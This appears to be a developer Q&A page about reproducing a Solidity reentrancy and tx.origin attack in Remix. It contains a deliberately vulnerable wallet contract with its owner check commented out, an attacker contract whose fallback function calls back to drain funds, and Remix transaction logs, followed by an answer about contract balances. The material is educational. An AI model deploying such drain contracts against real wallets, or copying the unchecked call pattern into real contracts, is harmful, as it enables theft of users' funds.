Search code examples
ethereumsolidityreentrancyremix

Re-entrancy not reproduceable


Short description

I was playing with the re-entrancy and mis-use of tx.origin example from solidity readthedocs.

This example shows how a user wallet can be tricked into having all of the calling account's funds transferred to an attacker's account.

After changing the invocation of transfer to call.value to allow for sending more gas (so the custom fall-back function could be invoked for the re-entrancy attack), I observed behaviour that I do not understand (see below).

The relevant code

User wallet:

pragma solidity >=0.5.0 <0.7.0;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    constructor() public payable {
        owner = msg.sender;
    }

    function() external payable {}

    function transferTo(address payable dest, uint amount) public payable {
        //require(tx.origin == owner, "tx.origin not owner");
        dest.call.value(amount)("");
    }
}

Attacker's wallet:

pragma solidity >=0.5.0 <0.7.0;

interface TxUserWallet {
    function transferTo(address payable dest, uint amount) external;
}

contract TxAttackWallet {
    address payable owner;

    constructor() public payable {
        owner = msg.sender;
    }

    function() external payable {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);

    }
}

Observations I don't understand

I compiled and deployed the contracts in Remix.

  1. When I call the function TxUserWallet.transferTo (from the owner's account, with enough gas, value and balance) using as parameters (1) the attacker's wallet address and (2) some value val (smaller than the msg.value), then I notice that an amount of val is transferred, whereas I would expect the total sender account balance to be transferred ... ?

  2. When I comment out the body of the fall-back function of the attack wallet, compile, deploy and then repeat the steps from point 1 above, then Remix reports success on the transaction, but nothing is transferred, whereas in this case I would expect val to be transferred ... ?

My question

How to understand the above observations?

Transactions:

Deploying attack wallet from account 1:

[vm]
from:0xca3...a733c
to:TxAttackWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x37b...32f64
 status     0x1 Transaction mined and execution succeed
 transaction hash   0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
 contract address   0x22e37c29ad8303c6b58d3cea5a3f86160278af01
 from   0xca35b7d915458ef540ade6068dfe2f44e8fa733c
 to     TxAttackWallet.(constructor)
 gas    3000000 gas 
 transaction cost   150927 gas 
 execution cost     74747 gas 
 hash   0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
 input  0x608...b0032
 decoded input  {}
 decoded output      - 
 logs   []
 value  0 wei 

Deploying user wallet from account 2 (which currently has a balance of over 100 ether):

[vm]
from:0x147...c160c
to:TxUserWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x5c1...18439
 status     0x1 Transaction mined and execution succeed
 transaction hash   0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
 contract address   0x1439818dd11823c45fff01af0cd6c50934e27ac0
 from   0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
 to     TxUserWallet.(constructor)
 gas    3000000 gas 
 transaction cost   148247 gas 
 execution cost     72747 gas 
 hash   0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
 input  0x608...b0032
 decoded input  {}
 decoded output      - 
 logs   []
 value  0 wei 

Calling TxUserWallet.transferTo from account 2 (owner) with the address of attack wallet:

[vm]
from:0x147...c160c
to:TxUserWallet.transferTo(address,uint256) 0x143...27ac0
value:1000000000000000000 wei
data:0x2cc...03039
logs:0
hash:0xcfc...476b8
 status     0x1 Transaction mined and execution succeed
 transaction hash   0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
 from   0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
 to     TxUserWallet.transferTo(address,uint256) 0x1439818dd11823c45fff01af0cd6c50934e27ac0
 gas    3000000 gas 
 transaction cost   40659 gas 
 execution cost     17723 gas 
 hash   0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
 input  0x2cc...03039
 decoded input  {
    "address dest": "0x22e37c29Ad8303c6b58D3Cea5A3f86160278af01",
    "uint256 amount": {
        "_hex": "0x3039"
    }
}
 decoded output     {}
 logs   []
 value  1000000000000000000 wei 

Now account 2 has 1 ether less in stead of being completely robbed empty.


Solution

  • It's not the owner's balance that you trying to transfer it's the contract balance. Look at the msg.sender.balance this is the contract balance, because the contract is the one who sent this transaction. It works right now because you sending etc to the contract in your transaction's value. So the contract balance becomes equal to the value of your transaction. And then you sending the entire balance of the contract to your account 1.